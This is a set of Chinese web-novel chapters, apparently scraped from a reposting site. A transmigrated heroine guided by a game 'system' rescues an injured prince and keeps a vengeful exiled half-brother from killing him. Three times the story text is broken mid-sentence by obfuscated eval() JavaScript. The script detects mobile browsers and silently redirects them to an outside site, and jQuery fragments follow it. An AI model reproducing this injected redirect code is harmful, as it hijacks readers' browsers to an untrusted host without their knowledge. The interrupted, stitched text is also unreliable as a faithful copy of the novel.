送走乔瑢,石掌柜擦了额头的汗,又挠挠头,仍在懊恼之中,他怎么感觉自己被做局了。
走出石记当铺,一阵强风吹过,当铺门口上挂的旗帘猎猎作响,抬眼已是乌云密布,马上要下大雨。
余光瞥见一个影子一闪而过,等乔瑢望过去却空无一人。豆大的雨点瞬时砸到头顶,她闷头冲进雨幕中。
一路跑着到回春堂,看见在门口接自己的苏黛。乔瑢朝她点点头,表示事情办妥,便同她一同进去。
有了银钱,回春堂的大夫给项天恒处理了伤口,开了方子买了药,人却依旧昏迷着。
乔瑢站在屋檐下等雨停,不过这雨来得快停的也快,一股脑儿地泼下来就没了。她对苏黛说:“马上天黑,趁着现在雨停,我们得赶紧回家,我去找车。”
刚走两步,便看见街上出现一个熟悉的人影,乔瑢跑过去喊住他:“小虎子!”
11. 第 11 章
“这次我不让你白做事,会付钱给你,帮我找辆马车。”乔瑢看着对面淋成落汤鸡,比以前更加落魄的小虎子,这钱要花出去,不如让他赚一点。
小虎子抹了把脸,点头应下:“交给我。”
“进来天黑之前,回春堂来接人。”乔瑢说完先给了小虎子跑腿费,“马车的钱等马车到了再付。”
乔瑢现在的确还不能完全信任他,小虎子没说什么,拿了钱就消失街道之中。
回去之后等了又等,眼见天已经暗下来,还没见马车的影子,乔瑢的心沉了沉,莫非小虎子真敢拿了钱跑路。她不可能这么一直等下去,苏黛也是这么想的。
苏黛道:“我出去找车,这镇上我肯定比你熟悉。”
乔瑢也同意:“也好,不过天已经黑了,你小心点。”要不是回春堂得留个人,她跟着一起去才好。
苏黛前脚刚走,回春堂的伙计就过来了,他说:“姑娘,我们要关门了,我们这是不留病人过夜的,你看你这……”
乔瑢皱眉:“天刚黑……”
伙计很快道:“我们就是这个点关门。”
“能否通融一下,有一个还在重伤昏迷,再等一等我们就离开。”
“我们也没办法,回春堂就是有这条规矩。”伙计说完不敢看乔瑢,喊了另一个伙计,走到项天恒那儿,准备将人抬出回春堂。
乔瑢反应过来,这就是在针对她,这个蔡利……没办法,她赶紧去将晓晓抱在怀里,看着他们将项天恒抬到门外。
就在这时一辆马车在门口停下,乔瑢以为是苏黛,结果看到小虎子。他解释道:“今日镇上马车都租出去了,我原本想等一等,等不到就回来跟你说一声,没想到真让我等到一辆,就是有点晚了。”
“没事,你先帮我把他抬进马车。”乔瑢下巴一抬指了指了地上躺着的项天恒,“然后在这里等我,我去找个人。”
看着小虎子抬人,乔瑢将晓晓背起准备出发,就是这么巧,苏黛也在此时出现,她当然是没租到马车。
马车内塞了三个大人一个小孩着实有些拥挤,项天恒靠坐在车壁,苏黛坐在他旁边,马车一晃项天恒就倒在她身上。
乔瑢抱着晓晓坐在对面,此时晓晓清醒着,眼睛一眨不眨地盯着项天恒,拉着乔瑢的手道:“乔姐姐,他长得和归青哥哥好像。”
乔瑢眉头一挑,苏黛被晓晓的话吸引,可是她一转头便是项天恒的头顶,根本看不到面容,她问乔瑢:“真的像吗?”
乔瑢盯着项天恒,给出了她最诚实的回答:“不像。”她可一点没撒谎,祁归青和项天恒的长相天差地别,至于晓晓怎么看出来的,那便只有她自己知道。
途中项天恒醒过一次,看了苏黛一眼又昏迷过去。到了姚家村,乔瑢提议到:“你家只有一间卧房,把他放你那儿不合适,不如放我那间茅草屋,我过来跟你们住。”
苏黛觉得她的提议不错,“不过祁归青同意吗?”
“自然是我怎么说,他怎么做,听我的。”乔瑢道。
小虎子背着项天恒跟着乔瑢,苏黛则带着晓晓先回家。
茅草屋内祁归青坐在床板上,点了一根蜡烛,这蜡烛还是乔瑢向苏黛借的。乔瑢一回来便对上祁归青的眸子,她若无其事地移开目光,让出身后的小虎子。
祁归青的身子绷紧,看着小虎子将那人放到稻草上,瞬间明白乔瑢这是要将人放在这里,可他却说不出一句话。
小虎子累得满脸汗,乔瑢付了马车,另外又多给了一些,小虎子走时连连道谢。
乔瑢看着一旁晾起来的湿衣服,问祁归青:“换衣服了?”
“衣裳湿了便换了。”祁归青垂着头,一如以往的模样。
乔瑢像是抓到了什么,继续问:“你淋雨了?”
“回来时淋了雨,我是走回来的。”祁归青抬头,眼神湿漉漉的,乌黑的发全部散开还未干透,这是乔瑢第一次见这样的他。
心中的怀疑被打消了五分,乔瑢露出些许疲惫,但也不得不承认,道:“我忘了给你钱,下回记得跟我说。”
乔瑢站在那里,淋湿的衣裳沉重的挂在她身上,勾勒出消瘦的身材,乌黑的长发湿哒哒地纠缠在一起,搭着眼皮可见是真的累了,她这番模样全都是为了救那个人。
“嗯。”祁归青握紧双拳,趁机提起一边躺着的那人,“他要在这里待多久?”
乔瑢揉着太阳穴,靠在门边,半边脸隐在暗中,道:“他伤得很重,一时半会儿醒不来,等他醒了再说。”
祁归青不说话,乔瑢可不是在征求他的同意,项天恒已经救回只是迟迟没有任务成功的声音,可能是要等人醒了才行。在这继续待下去也无用,她准备离开,临走时留下一句话:“我去苏黛家,你们二人可不要打架哦。”
莫名其妙!她以为自己是路边的野狗吗,见狗就咬,见人就打架吗!
潮湿的霉味混杂着雨后的土腥味,狭小的空间内,祁归青身上犹如万只蚂蚁噬咬。终于,他站起身举起蜡烛,一步步走到昏迷的人前。
祁归青伸手将他面上覆住的头发拨开,几乎一眼便确认他是谁,项天恒,他的皇兄。曾经那么尊贵,不管何时都是高高在上,现在虚弱地躺在他面前,任人宰割。
云光殿中,药碗打破的碎片四散开,赵云痛苦地在地上挣扎翻滚,她喝住想要上前的儿子:“归青,一定要逃出去!娘先走一步……”
祁归青转身跑出去,他四处大喊救命,被照顾他的嬷嬷抓住,让他不要喊不要闹,那碗药是皇后命人送来的,他们身在冷宫已经被皇帝舍弃,他救不了他的母亲。
御花园内,幼时的祁归青躲在草丛后,嘴里是还没嚼完的花瓣,他饿得受不了,不管能不能吃都往嘴里塞,身后传来皇后与嬷嬷的对话。
“娘娘,御花园的花儿开得正盛,御膳房研制了一道鲜花饼,可否送给皇子们尝一尝?”
“嗯,这个年纪真是喜甜的时候,但恒儿不爱吃,给他送点喜欢的绿豆糕。”
“是,那云光殿……”
“那个贱人的儿子也配,吩咐御膳房从今天起不许给他宫里送膳食,一粒米都不许给。”
祁归青嘴角的花汁流下,狠狠地盯着那道华贵绚丽的身影,像一匹小狼,恨不得咬断她的脖颈。
……
若有若无的血腥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156629|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
味唤醒了祁归青曾经的痛苦记忆,他吹掉蜡烛,双手猛地覆上项天恒的脖颈,五指慢慢收紧。
当这绝好的机会摆在面前时,他也以为是上天眷顾了他一回,杀了项天恒,他也要让那人尝尝失去至亲的滋味。
好黑啊……伸手不见五指的地方无论乔瑢怎么走,依然是什么都没有。突然迷雾散尽,前方赫然躺着一具尸身,走近一看发现是项天恒。
【检测到《从摆摊开始做起》男主项天恒死亡,玩家任务失败……】
瞬间气血上涌,乔瑢握紧拳头颤抖不已,愤怒与不甘几乎让她昏厥,她咬牙怒喊道:“祁归青,又是你!”
乔瑢身体一抖,从睡梦中惊醒,湿热的汗黏在她的脖颈,大口喘着粗气。眼前是苏黛家的卧房,借着微光依稀能看见苏黛和晓晓的身影。
只是一个梦。
梦里残余的怒气迅速消散,紧绷的身体渐渐放松,她长长呼出一口气后,闷热仍未减轻。
索性起身悄悄走出卧房,轻手轻脚打开屋门,湿润的空气吹散了些许闷热,乔瑢问系统:【小感,项天恒还活着吗?】
系统:【检测到项天恒生命数值正常,既然你不放心祁归青,为何还要让他们共处一室。】
乔瑢的眼睛在夜里清亮又坚定:【我故意的,祁归青没动他,说明我赌对了,一切便可按照计划进行。】
系统:【面对昔日仇人,他居然能忍着不复仇。】
祁归青的母亲叫赵云,是皇后殿中的一名宫女,在做宫女之前,她也曾是农女,家中变故只能卖身入宫为奴。她长相清秀干净,被皇帝看中一朝宠幸赐居云光殿,不久后生下四皇子。
不过皇帝喜怒无常、朝三暮四,即使赵云生下皇子,先前已有三位皇子,他们二人很快被遗忘。云光殿只有一位嬷嬷伺候,还要被后宫各种针对暗害,日子过得还不如做宫女时。
皇帝宠幸赵云,皇后一直耿耿于怀,最终命人将一碗毒药送去了云光殿。祁归青有皇子身份,但皇帝并不喜这个宫女生下的孩子,他的生死整个皇宫无人在意。
在云光殿吃不饱穿不暖的日子,连嬷嬷都受不了,最后还是动了歪心思。她告诉祁归青,要带他逃出宫去。祁归青很是欣喜,毫无防备地跟着嬷嬷走了,结果却是卖到了寻香楼。
在别人的小说中,这样的人设可能是男主,他会从寻香楼逃出来,隐姓埋名复仇。可祁归青只是一个反派配角,他没能逃出去,接客那日摔断腿,自此人人欺辱。身残、没有尊严、谄媚的活着。
如今乔瑢改变了他的命运轨迹,至少他现在没有那么惨。
乔瑢:【明日就知道了。】
系统:【知道什么?】
乔瑢:【祁归青或许想留着他慢慢折磨,也不一定。】
系统:【不愧是他,很变态。】
乔瑢彻底放松下来,噗的一声笑出声:【小感,你真的不是真人吗?】
系统:【系统只是一个程序,永远不会变成真人,请玩家不要异想天开。】
【知道了,项天恒明日就该醒了,我等着五十两到账。】
那间茅草屋,她实在忍受不了,她要建房!
12. 第 12 章
第二日是一个艳阳天,将昨日换下的衣物洗干净晾晒好,乔瑢与苏黛用竹篮装了白粥和项天恒的药来到茅草屋。
【滴——帮助苏黛救回项天恒任务完成,奖励五十两,积分+50】
听到任务成功的系统音,乔瑢知道项天恒醒了,脚步轻快不少。可是到了茅草屋却不见祁归青的人影,而项天恒睡在她之前的床板上。
项天恒见到苏黛,连忙作揖感谢:“多谢姑娘救命之恩。”
苏黛摆手,拉上乔瑢,道:“不是我一人之力,她也有帮忙。”
于两位救命恩人,项天恒自报姓名:“我叫项天恒,再次多谢二位救命之恩。”
而乔瑢却发现他右肩膀处伤口溢血染透了衣裳,好端端的伤口怎么会渗血,便道:“项公子刚醒吗?”
右肩的伤口处传来疼痛,项天恒捂住右肩膀点了头,“昨夜一直昏迷,完全不知身在何处。”
“你的肩膀怎么渗血了?”苏黛也发现了。
乔瑢将竹篮中的白粥和药拿出来,并没有影响她的好心情,随口说了一句:“看来得重新上药包扎。”
屋外有动静,随即祁归青走进来,苏黛正不知让谁上药,欲开口被乔瑢拦下:“他不行。”
苏黛和祁归青皆是一愣,乔瑢找到昨日让祁归青带回来的包裹,解释道:“他昨天跟我出去手腕脱臼,手刚接上做不了这个。”
“那……你会上药吗?”苏黛问乔瑢。
乔瑢立马拒绝:“我更不行了,男女授受不亲,我看就你最合适,我回去照顾晓晓,顺便给祁归青煎药。”
不容苏黛再说,乔瑢拉着祁归青出了茅草屋。昨夜她将当玉佩的钱清点好全都交给了苏黛,今日正好由他与项天恒商量如何借用这笔钱。
乔瑢看出祁归青眼下的乌青,有心试探道:“项天恒的肩膀渗血了,昨夜发生了什么吗?”
“无事发生。”
乔瑢当然不信,他越想隐瞒她就越想拆穿,“昨天我亲眼看着大夫包扎,除非外力不可能再渗血,那这到底怎么回事呢?”
乔瑢怀疑的目光实在太灼人,激起祁归青心底的愤怒,可表面却还是平静得很,他道:“你怀疑我会对一个陌生人动手?我不是疯狗,见谁都咬。”
昨夜,祁归青的双手放在项天恒的脖子上,只要继续用力,他必死无疑。可偏偏最后关头,他的脑海中响起系统的声音,乔瑢的任务是救项天恒,可若任务失败会怎样。
乔瑢会消失吗?那他该何去何从,一切会回到原本的模样,他会回到那个暗无天日的地窖之中吗?
突然,祁归青整个人脱力一般跌坐到地上,他看着项天恒,仇恨和理智在博弈。杀了项天恒报复皇后纵然快意,但他是否能赌一个另样的人生呢?
可就这么放过项天恒,错失这么好的机会,难解祁归青心头之恨。恨意汹涌过后的空洞,当然需要点别的东西来补全。
祁归青打量着项天恒的全身,寻找可以下手的地方,最终他以手握拳摁住项天恒肩膀处,随着不断用力,看着项天恒的额头冒出汗水,五官扭曲在一起,祁归青继续加重力道,直到伤口处渗血才松手。
长长舒了一口气,祁归青又抄起项天恒的腋下,粗暴地将人扔到床板上,做完这些,祁归青喘着气坐回去,手腕毫不意外地又脱臼了。
想起大夫教乔瑢接骨的动作,一扭一送,关节恢复原样。他也出了一身汗,可是这辈子,从没有此刻这般舒畅过。
一念之差,祁归青没能痛下杀手。只是眼前他需要一个借口,将乔瑢蒙混过去,还好他提前做了准备。他状若思考道:“或许是昨夜我见他是伤者,将他拖到床板上,不小心碰到伤口处,我不是故意的。”
乔瑢盯着她的眼睛,明知他在撒谎,此刻也乐意配合他,将人逼急了可没有好处,只道:“原来如此。”
她说完继续往前走,眼前就是苏黛家,祁归青没想到这么轻易就盖过去了,心底有些不安。没想到乔瑢这时突然转身,他差点撞上,只见她目光在他脸上游走,忽然道:“你该不会一晚上没睡吧。”
“他身上血腥气太重,我睡不着。”两人忽然的对视让祁归青十分不适,他别开眼,从乔瑢身侧绕过去。
乔瑢笑了笑跟上去,她并不打算追究项天恒伤口渗血的事,而且还要装作被他蒙混过去。只是不知道是不是这人第一次干坏事,遮掩得不够好,刚刚他手腕发红就被她发现了。
乔瑢把晓晓的药煎好之后,便开始教祁归青煎他自己的药,有手有脚的成年人,应当自食其力。
照顾晓晓喝完药后,乔瑢带着晓晓在门口树荫下吹风,老让晓晓在卧房待着不利于身心健康。她自己则琢磨着,如何将那间茅草屋改造成三室一厅一厨一卫的茅草屋。
按照这里的物价,一间房至少三两,那么她大概要花二十两左右,以她现在的财力绰绰有余。只是这钱的来路,她得编个像样的理由。
正想着,见苏黛拎着竹篮回来,面上有些不自然。乔瑢大概猜到,茅草屋上药包扎会发生什么,她装作不知情,问她:“玉佩的事商量好了?”
苏黛点点头,将竹篮放下,摸了摸晓晓的头,道:“他说玉佩不是珍贵之物,本来也是要当的,这五百两就当是他报答我们的,无需偿还,只需收留他几日养伤。”
“那岂不是更好。”乔瑢道。
苏黛想了想,“但我不能完全只依靠这些钱,往后还要更努力赚钱才是,有能力后还是要将玉佩赎回来的。”
乔瑢同意得不能再同意了,“你说得对,只有自己才最靠得住。”
这时祁归青过来喊她,原来是药煎好了让她看看成不成。不得不说,祁归青有些天赋,粥熬得好,煎药也是一学就会。见他早已将药倒出,便让他直接喝。
祁归青没说二话,他右手手腕红肿,还记得偷偷换左手端药,眉头不皱地将药灌下去。
乔瑢装作没发现,临走时还说:“要是手腕再疼了痛了,记得找我,我看看是不是又断了,我好及时给你接上去。”
看祁归青抿唇不语的样子,乔瑢觉得逗他还挺有意思的。
“什么事这么开心?”苏黛正在给晓晓扎辫子。
乔瑢很诧异,她面上这么藏不住吗,“我打算建房。”
苏黛一想也是,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156630|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她那间茅草屋都多少年了,只有一间房,还没有厨房,的确是要重建才能住人,便道:“需要多少银两,我给你拿。”
乔瑢:“我没打算用当玉佩的钱。”
“那你……”乔瑢曾经编造的身世很深刻,在苏黛印象中,她很落魄,身上怎么可能会有银钱建房。
乔瑢清了清嗓子,开始撒谎:“实不相瞒,我那失散的家人突然联系上我,只不过不便前来相聚,还给我了些银钱,足够我建房生活。”
“真的?那太好了!”苏黛比乔瑢看起来还要欣喜,也确实没想到她家家底这么殷实。
祁归青走过来,正好听到乔瑢这番话,便知她又在编故事撒谎,不过倒是见怪不怪了。
“不过我若要建房,会在镇上租房,到时候项天恒就只能在你这养伤了。”
苏黛思考一番说道:“让他睡在主屋也不是不行,我现在就去收拾,早日让他搬过来,你也好早日动工。”
苏黛是个行动派,但乔瑢的动作更快,当天便找好了包工头,正是姚家村的周大头。
“我要隔壁杨家村的木匠杨长木,林家村的土匠林石头,小工你们找。依然是茅草屋顶土胚墙,我预算有限,瓦和砖都省了。”乔瑢把要求与周大头说了,她本就无需在姚家村多待。
“你怎么好像比我还熟悉这里?”苏黛感叹,乔瑢提及的这些人连她都不清楚。
“消息是靠打听的,不然你以为我有神通不成?”乔瑢哈哈一笑混过去。
用过晚饭,祁归青还得回茅草屋和项天恒住一晚,苏黛不放心项天恒便在竹篮里装了晚饭,随祁归青一道去。
乔瑢看着他们的背影,尤其是祁归青,今天是最后一晚与项天恒共处一室,他会不会再做些什么呢。
苏黛回来时,乔瑢已经带着晓晓洗完澡躺在卧房,她洗完收拾好躺在了一起。“你那茅草屋的确不能住人,我刚才过去时,屋顶的茅草直往下掉。”
“幸好我现在有钱重新修建,不然那茅草屋我一刻都待不了。”主要还是只有一间房,她总不能将祁归青赶到屋外去睡。
“你就算没钱,我不还有当玉佩的钱么。既然已经接受,不用矜持着不花,我相信这钱还能挣回来。”晓晓钻到苏黛怀里,非要贴着她才行。
乔瑢翻了个身,“你就这么相信我?咱们认识可没几天。”
苏黛没有回答,反而陷入了沉默,过了一会儿,才道:“我也不知道,刚开始我也是不信任的,可是后来你没害我,还帮了我,怎么会是坏人呢。”
乔瑢躺在床上伸了个懒腰,幽幽道:“这下不用请詹大娘悄默默看着我了吧?”
“你知道?”苏黛侧坐起来。
“都这么明显了,我若看不出来,还去帮你当玉佩,岂不是被人骗了都不知道。”
“没想到你长相甜美,做人做事这么老练。”
……
天一亮,苏黛早起开门,一打开门门口站着一个人,定睛一看,发现是项天恒。“项公子,你怎么在这?”
项天恒向左看,苏黛随着他的视线,“你怎么也在这?”
“谁来了?”
13. 第 13 章
苏黛有些不解地看了一眼祁归青,他正坐在屋前石沿上,很快又看向项天恒,满脸疑惑道:“发生……什么事了?”
乔瑢这边伸了个懒腰,从里往外走,这两人昨晚肯定发生了什么,要是什么都不发生才觉得奇怪。
祁归青没有回答苏黛,直到看见乔瑢出来,才站起身说话:“茅草屋……塌了。”
“昨晚我说什么来着,那茅草屋不能住人,你们没受伤吧?”苏黛往二人身上瞄,祁归青仍未看她,只瞧着乔瑢,答道:“他应该有话要说。”
这个他无疑就是项天恒,瞬时两道视线齐聚在他身上,尤其是苏黛,目光中隐隐露着担忧。
项天恒自觉憋了一晚上,到了苏黛和乔瑢面前,似有万般委屈似的。他转了个身向祁归青,光明正大问道:“你与我有仇怨?屡次与我作对?”
苏黛脸上带着茫然看向乔瑢,而乔瑢却抓住了话中的关键,对项天恒发出疑问:“屡次?”项天恒醒后,他们仅一个晚上共处而已。
项天恒也有同样的疑惑,他与祁归青才认识而已,他越想越觉得无理荒谬,今日便要说清楚才行,于是他说起昨晚的事:“我伤势未愈用完苏黛姑娘送来的晚膳便早早躺下,谁知祁兄弟无缘无故将我吵醒。”
“谁跟你是兄弟。”祁归青皱眉不满,兄弟二字尤其逆耳,随后又不紧不慢,缓缓开口:“那是因为你睡了我的床板。”
项天恒继续反驳:“我自醒来就睡的床板,哪知是你的,你大可告诉我,后来我也将床板让出来睡在了墙角,你还有什么不满意,为何又半夜趁我睡着过来掐我脖子?”
“什么?”苏黛惊呼,惊讶归惊讶,她第一反应还是看向乔瑢,“这其中是不是有什么误会?”
小打小闹上升到掐脖子,任谁都说不过去,几人的目光全聚在祁归青身上,等着他的解释,只有乔瑢没看他。
“是误会。”祁归青淡淡开口,面上并无异样,甚至还能看出一丝担忧,“他伤得很重,我只是过去检查他是否还有气息,若有异样还能及时呼救。”
“好啊,那你后来为何又与我扭打在一起,这实打实的打架该不会有什么误会吧。”项天恒却完全不相信这番说辞,他着实难以理解,此刻拧紧了眉头,势必要一个解释。
没想到昨晚会如此精彩,乔瑢渐渐听得来了兴趣,她一副看戏的模样,目光在二人之间打转,最后落在祁归青身上,似乎在等他继续说。
“打架是真,无需解释,而且是你先动手的。”祁归青道。
项天恒眉头一拧:“你都掐上我的脖子了,我若不动手,难道要伸出脖子挨杀么。”
想到昨晚情形,项天恒还觉得有些好笑,两人于黑暗夜色中扭打起来,连对方面容都看不清,只知道朝对方出手,要不是茅草屋的顶突然塌了,两人还不知要打到什么时候。
项天恒脸上被扇了几下,向来金贵的人被打了脸,他满是不可置信。都这时候两人自然没了睡意,也不能席地而睡。
祁归青转身就走,项天恒便知他要去找乔瑢,就跟上去,果然就走到苏黛家,不过二人倒是默契地谁也没有上前敲门打扰,各分一边,竟生生挨到天亮。
“看起来打得很凶哦。”乔瑢打破了沉默,苏黛这才想起来问项天恒的伤势。
“我无事,他手无缚鸡之力岂能伤我?要问也该问他。”项天恒捂着手臂,一字不提伤口发疼的事。
“我也无事,重伤之人能伤到谁。”祁归青也不示弱。
“都是误会,误会,祁归青与你素不相识,不会故意加害于你。所谓不打不相识,你们这就算是相识了。”苏黛话是这么说,但心里还是存了一个疑点。
“本来不相识,现在的确有些看不顺眼。”祁归青刚说完衣袖被拽了一下,抬眼顺着看去是乔瑢含笑的眼神,她舌动唇不动提醒道:“你就少说点吧。”
项天恒假装没听到,重新理了理身上的衣袖领口,举手投足间流露一丝贵气,“我也不是小肚鸡肠之人,既是误会,那便就此接过。那茅草屋若要修葺,我也去帮忙,毕竟它塌了与我有关。”
“不用,今日我便带着祁归青去镇上租房,那茅草屋确实寒碜,要重新修建。”乔瑢道,“吃过早饭就走。”
“那确实可惜了。”祁归青补道。
乔瑢放弃挣扎,男人之间若是杠上,她也招架不住。
吃过早饭,乔瑢果然带着祁归青就要去镇上,苏黛本也想去找找商机,奈何要照顾晓晓和项天恒。
租了房就要住在镇上,乔瑢索性将两人的所有物品都带上,省的回来再拿。好在两人的东西不多,不过全在祁归青手上拿着罢了。
还是上回的牙人,乔瑢必须要两间卧房,一间厅堂,一间厨房,她的要求并不难找,最终定下的是临近西街的一处房子,还带着院子,乔瑢对此非常满意。
先挑了卧房,乔瑢将自己的衣物放好,在自己的床上躺了好久终于才舍得下来,虽然仅是床板没有被褥,对于睡了几天地板的乔瑢来说已经够舒服。
租房的好处便是什么家具都不用买,只是还需要打扫一番,找到祁归青时,发现他已经自觉在熟悉厨房。
乔瑢选择了扫地,让祁归青去擦洗家具。两个卧房一个厅堂的地不难扫,她干完就去帮祁归青换水盆里的水,做着做着就发现了问题。
祁归青用的一直是左手,明明左手刚接回,看着他略显吃力的模样,乔瑢心中有了猜测,“你既然受伤了,为何不说,就这么放任不管,手腕不想要了?”
祁归青手拿着抹布顿了一会儿,又继续干活,“反正我习惯了。”
乔瑢想起在百草堂刘老大夫说过的,他的手腕不止一次断过,十岁被卖,以他的性格,八年生活肯定不止一次被罚。
终归是她设定的这一切,乔瑢还是心软拉过祁归青的右手两三下帮他接好,“若是疼得厉害,这些活明天再做也行。”
说完便回了自己房间,祁归青放下抹布,已是一额头的汗,乔瑢接骨技艺太生疏,他握住腕骨缓解疼痛,不过嘴角却勾了起来。
过了一会儿乔瑢又走出房间,看见祁归青还在忙活,也没再拦着,出了门就往西街去。
午饭前乔瑢回来了,手上拿了个竹篮,里面装了一些做饭要用到的蔬菜肉类。而这时祁归青已经忍着痛将家里全部擦洗完,正要向她汇报。
乔瑢像是没看见他似的,将东西放在厨房,始终没看祁归青一眼,从他身边擦肩而过,什么话没说。
祁归青身形微顿,这与之前显然有些不同,她是生气了,还是出去发生了什么事,突然身后传来一个陌生男子的声音。
“这位爷,这些东西要放在哪儿?”一个身穿青色短褂的小伙计扛着一个包裹站在院中,脸上挂着淳朴明亮的笑容。
卧房内,乔瑢愁容满面,皱着眉头坐在床头等着系统的回音。
【滴——更新完成,系统小感正在上线……】
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200899|180586||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>乔瑢:【小感,这到底是怎么回事?】
她正在西街大买特买,家中什么都缺,先挑着紧要的买,首先便是床上用品,其次就是食物。
没喊祁归青跟着,那是因为她为数不多的善心,让他在家先歇着,她这里可以让伙计送货上门。
只是逛到一半,去总系统更新的系统突然上线,结果一来就给她发了一个离谱至极的任务。
【编号520系统上线,发布新的攻略任务:与祁归青牵手十分钟,奖励积分100。】
当时乔瑢怔愣了三秒钟,在心中有气无力道:【小感,你跟我开什么玩笑呢。】
小感并没有回应,等了一会儿等来冷冰冰的故障音。【故障中,请稍等。】
乔瑢松了口气,还好是故障,不然这个任务她怎么都不会去完成的,她继续采买,并请了店铺伙计送货上门。
乔瑢没等多久,故障排除,小感上线,可是已经发布的任务仍然还在任务栏中,并没有随着编号520下线而消失,她才意识到问题的严重性。
带着小伙计回家,乔瑢此刻最不想见的人就是祁归青,卧房内,乔瑢试图与系统讲道理。
系统:【这……更新过程中出现了故障,导致恋爱系统错误上线,】
乔瑢:【那任务怎么还在?】
系统:【任何任务发布都无法取消或者改变。】
乔瑢绝望抱头,艰难地扯了扯嘴角,问:【为什么积分奖励这么高?】
系统:【因为这是攻略者与被攻略者关系进一步的重要任务,高积分可以用来兑换高级奖励,比如养颜丹、丰体膏……】
乔瑢不想再听下去,打断系统的介绍:【我知道了,如果我不做这个任务呢?】
系统:【任务不能跳过,这个任务如果不完成,系统将无法派发新任务。】
乔瑢【可是这到底是你们系统的过错,我完全是无妄之灾,为什么要我承担后果?】
系统:【可是玩家你看,奖励积分挺高的呢。】
乔瑢仍在挣扎,她反驳:【可是我积分用的少,除非你给我换成银子。】
系统:【一百两吗?】
乔瑢肯定:【是。】
系统:【成交!】
乔瑢跳起来:【你不是说任务无法改变吗?】
系统:【任务无法改变,但奖励……我可以申请,毕竟这是我们系统出现故障,相应的补偿会通过。】
乔瑢皮笑肉不笑:【你们系统还真是智能啊,我还有多少时间完成任务?】
系统:【按照现有剧情发展,下一次任务发布就在这几天。】
乔瑢:【所以我没有多少时间了是吗。】
乔瑢难得有些焦躁,在屋内来回走动,这个任务着实有些为难她。她到底有什么理由能与祁归青牵手十分钟,还不能被他察觉异常。
咚咚咚……
卧房们被敲了三声,伴随着祁归青的声音:“午饭做好了。”
祁归青煮了粥,因为他只会煮粥,还是乔瑢教的,盘中还盛着乔瑢今日买回来的咸菜。虽简陋,如今有了正经吃饭的厅堂桌子椅子,还挺像模像样的一顿饭。
只是乔瑢没有胃口,在祁归青看来,明显就是心事重重的模样,秉着奴仆的身份,他试探着装作关心问道:“今日发生什么事了吗?”
乔瑢没看他,一听他说话,赶紧闷头喝粥。
【小感,要是祁归青的手腕再断一次就好了。】